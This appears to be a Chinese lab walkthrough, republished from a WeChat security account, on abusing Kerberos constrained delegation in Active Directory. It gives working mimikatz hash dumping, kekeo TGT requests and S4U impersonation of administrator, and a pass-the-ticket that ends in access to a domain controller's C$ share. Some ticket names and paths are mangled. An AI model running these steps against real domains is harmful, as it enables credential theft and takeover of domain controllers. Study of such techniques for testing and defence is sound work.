域渗透之约束委派详解

由于非约束委派的不安全性，微软在windows2003中发布了约束委派的功能，如下所示

在约束委派中的kerberos中，用户同样还是会将TGT发送给相关受委派的服务，但是由于S4U2proxy的影响，对发送给受委派的服务去访问其他服务做了限制，不允许受委派的服务代表用户使用这个TGT去访问任意服务，而是只能访问指定的服务。

这里就引入了两个新的概念

S4U2Self和S4U2Proxy

S4U2self

允许受约束委派的服务代表任意用户向KDC请求服务自身，从而获得一张该用户（任意用户）的对当前受约束委派服务的票据TGS(ST)，该服务票据TGS(ST)包含了用户的相关信息，比如该用户的组信息等。

S4U2proxy

允许受约束委派的服务通过服务票据ST，然后代表用户去请求指定的服务。

约束委派

用户请求一个约束委派的服务流程图如下：

1.用户向Service1发送请求

2.这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT1票据（Forwardable标记），然后通过S4U2self扩展模拟用户向KDC请求ST。

3.KDC这时返回给Service1一个用于用户验证Service1的ST（我们称为ST1）（Forwardable标记），并且Service1用这个ST1完成和用户的验证过程。

4.Service1在步骤3使用模拟用户申请KDC所获得的ST1票据与User进行验证，然后响应用户的请求。

注:这个过程其实Service1是获得了用户的ST1和TGT的，但是，S4U2Self扩展不允许Service1去代表用户请求其他服务。

5.用户再次向Service1发起请求，此时Service1需要以用户的身份去访问Service2.此处官方文档提到了两点。

    A。Service1已经通过验证，并且有一个有效的TGT。

    B。Service1有从用户到Service1的forwardableST（可转发ST），此处我认为，根据流程来看，可转发ST1其实就是ST1，用于(6)的验证

6.Service1代表用户向Service2请求一个用于认证Service2的ST(称之为ST2)。用户在ST1中通过cname (client name) 和crealm(client name)进行标示。

7.KDC接收到(6)中的请求后，对PAC的数字签名进行验证。如果验证成功或这个请求没有PAC（无法验证失败）,KDC将返回ST2给service1,不过这个ST2中的cname crealm标示的是用户而不是service1。

8.service1代表用户使用ST2请求访问Service2

9.Service2响应Service1的请求

10.Service1将Service2的响应转发给User。

在这个过程中，S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性，并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2，并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档，和RFC4120的内容。

同时注意forwardable字段，有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的，如果没有标记则不能进行转发。

查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户

非约束委派的查询：

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。

查询域中配置非约束委派的账户：Get-NetUser -Unconstrained -Domain rootkit.org

查询域中配置非约束委派的主机：Get-NetComputer -Unconstrained -Domain rootkit.org

查询约束委派则通过搜索userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户

约束委派的查询：

查询域中配置约束委派的账户：Get-DomainUser -TrustedToAuth -Domain rootkit.org

查询域中配置约束委派的主机:Get-DomainComputer -TrustedToAuth -Domain rootkit.org

前期准备：

域控机为域用户配置SPN，用于域用户配置约束委派

setspn -U -A SQL/test win2016

此时在Active Directory 用户和计算机处，可以发现域用户win2016已经可以配置委派了。

为win2016用户配置约束委派，做win2 019机器的cifs服务的委派

此时应用设置后，已在域中完成了win2016用户对win2019机器的cifs服务的委派

发现约束委派:

使用Adfind.exe尝试发现约束委派

查找域中配置约束委派用户

AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=

发现win2016用户存在约束委派，委派了win2019机器的cifs服务

在域中查找配置了约束委派主机

AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*)

可以看到主机Win2016存在约束委派，委派了win2019机器的cifs服务

攻击利用：

域用户存在约束委派:

kekeo.exe结合存在约束委派的域用户明文密码申请可转发的TGT票据

kekeo # tgt::ask /user:win2016 /domain:vulntarget.com /password:Admin#123

kekeo.exe结合存在约束委派的域用户的NTLM申请可转发的TGT票据

利用mimikatz拿到域用户win2016的NTLM hash进行利用

这里 明文密码 和 hash 任选其一来操作 申请TGT

kekeo # tgt::ask /user:win2016 /domain:vulntarget.com /NTLM:dfc8d2bfa540a0a6e2248a82322e654e

利用kekeo进行S4U伪造 申请TGS服务票据

利用拿到的TGT票据通过伪造s4u请求以administrator用户身份请求访问域控机的cifs服务 也就是前面的win2019

tgs::s4u /tgt:[email protected]_krbtgt~[email protected] /user:[email protected] /service:cifs/win2019.vulntarget.com

PTT利用拿到的TGS票据

通过mimikatz进行ptt拿到域控机的cifs服务使用权限

kerberos::ptt [email protected]@VULNTARGET.COM_cifs~[email protected]

注:此处使用的通过S4U2proxy 拿到的 TGS票据，而不是使用通过S4U2self拿到的TGS票据。

查看域控机的共享目录成功！

域主机存在约束委派:

通过mimikatz拿到域主机win2016的服务账户NTLM hash来申请可转发的TGT票据

privilege::debug
sekurlsa::logonpasswords

注:需要管理员权限才可拿到密码Hash

kekeo.exe结合存在约束委派的域主机的服务账户的NTLM申请可转发的TGT

tgt::ask /user:win2016$ /domain:vulntarget.com /NTLM:e0cd419213811fd910ca6c3c42d764e7

注:带有$符号的用户一般都是服务主机账户，而非普通用户

通过kekeo进行S4U伪造

如此，成功拿到了对应委派服务的TGS票据

kekeo # tgs::s4u /tgt:[email protected][email protected] /user:A

PTT利用拿到的TGS票据

kerberos::ptt [email protected]@[email protected]

尝试对域控进行共享目录访问,利用成功！

dir \win2019.vulntarget.comc$

注: 此处进行tgs::s4u伪造时，申请的service是cifs/win2019.vulntarget.com时；我们在使用时就应该是dir win2019.vulntarget.comc$ 这样才能访问成功，若dir win2019c$则会访问失败，反之亦然！

关于约束委派的防御方法：

1、高权限用户没有在特殊要求之下设置为不可委派，比如administrator

原文始发于微信公众号（亿人安全）：域渗透之约束委派详解